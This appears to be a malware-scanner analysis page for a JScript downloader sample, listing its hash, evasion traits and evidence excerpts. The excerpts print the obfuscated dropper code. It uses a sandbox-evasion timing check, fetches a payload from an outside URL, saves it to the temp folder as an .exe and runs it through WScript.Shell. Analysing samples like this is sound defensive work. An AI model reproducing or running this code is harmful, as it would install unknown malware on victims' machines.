Suspicious ^66% javascript-malware-collection Download

20160328_82da7ea8f0bf005a04d5027c78dcb646.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-256346bf5af9bbdac1a3378613aa4013961900db29ba3aa70d8dc71eaa3af88cb9c

MaleculeK(Li)O₄(AlAs₄CXe)H₅(Cm₃Db₂FOs₂Po₄)

Evidence

UTC millisecond jitter sleep check lines 1–42

1var Spjjpgznwt = false;
2var Onmkm = "CreateObject";
3var Jqnnhzu = function Lycbqhzx() {return WScript[Onmkm]("WScript.Shell");}();
4var Bevgrh = 123213;
5var Itbtflh = "MSXML2.XMLHTTP";
6var Lyohvxql = 2123213;
7var Boxilg = 0;
8function Ljwrcnbi(Oteipztagz){Jqnnhzu["Run"](Oteipztagz, Boxilg, Boxilg);};
9function Vuinkv(){return Itbtflh;};
10function Jnkpbvlzs(Vpyoobtat, Phwtgp){return Vpyoobtat - Phwtgp;};
11function Onjsiquemk(){return Onmkm;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Spjjpgznwt = true;
15  @end
16@*/
17var Qtjzyjgval = "";
18if (Spjjpgznwt)
19{
20function Taatixdmxi(){return 22;};
21var Fxrvsbabd = 0; var Nvyqaifbzy = 0;
22function Bwbaj()
23{
24var Vygxqvlnw = new this["Date"]();
25var Djddloawim = Vygxqvlnw["getUTCMilliseconds"]();
26WScript["Sleep"](Taatixdmxi());
27var Vygxqvlnw = new this["Date"]();
28var Xugpam = Vygxqvlnw["getUTCMilliseconds"]();
29WScript["Sleep"](Taatixdmxi());
30var Vygxqvlnw = new this["Date"]();
31var Swmncpvdz = Vygxqvlnw["getUTCMilliseconds"]();
32var Fxrvsbabd = "Eqowmnjnb";
33Fxrvsbabd = Jnkpbvlzs(Xugpam, Djddloawim);
34var Nvyqaifbzy = "Ibkeirnipk";
35Nvyqaifbzy = Jnkpbvlzs(Swmncpvdz, Xugpam);
36Qtjzyjgval = "open";
37return Jnkpbvlzs(Fxrvsbabd, Nvyqaifbzy);
38}
39var Bnofdpngi = false;
40var Ifftw = false;
41for (var Itnoakke = Boxilg; Itnoakke < Taatixdmxi() * 1; Itnoakke++){if (Bwbaj() != Boxilg){
42Bnofdpn …

Contains a hardcoded insecure HTTP URL lines 49–75

49:3…  (Bnofdpngi && Aohwth() && Ifftw){
50function Rppkmkqh() {return Jqnnhzu["ExpandEnvironmentStrings"]("%TEMP%/") + "9mu4LPXWQKor.exe";};
51 Gylebowva = Vuinkv();
52 Oflfzr = WScript[Onmkm](Gylebowva);
53 var Wcsgfzvhw = 1;
54 while (Wcsgfzvhw){
55try {
56Oflfzr[Qtjzyjgval]("GET", "http://princesse-hippie.com/m6yaf", false);
57Oflfzr["send"]();
58Kkoungpb = "Sleep";
59do {WScript[Kkoungpb](Taatixdmxi() * 11)} while (Oflfzr["readystate"] < 2 * 2);
60Wcsgfzvhw = Boxilg;
61} catch(Nuvjrki){Wcsgfzvhw = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Gnexl(Nqphvl) {var Ykoczsgeci = (1, 2, 3, 4, 5, Nqphvl); return Ykoczsgeci;};
64Wzzxlwwhup = WScript[Onjsiquemk()]("ADODB.Stream");
65Gylebowva = Wzzxlwwhup;
66Gylebowva[Qtjzyjgval]();
67Gylebowva["type"] = Gnexl(1);
68Gylebowva["write"](Oflfzr["ResponseBody"]);
69Wzzxlwwhup["position"] = Gnexl(Boxilg);
70Gylebowva["Save" + "ToFile"](Rppkmkqh(), 2);
71Wzzxlwwhup["close"]();
72Ljwrcnbi(Rppkmkqh());
73}
74}
75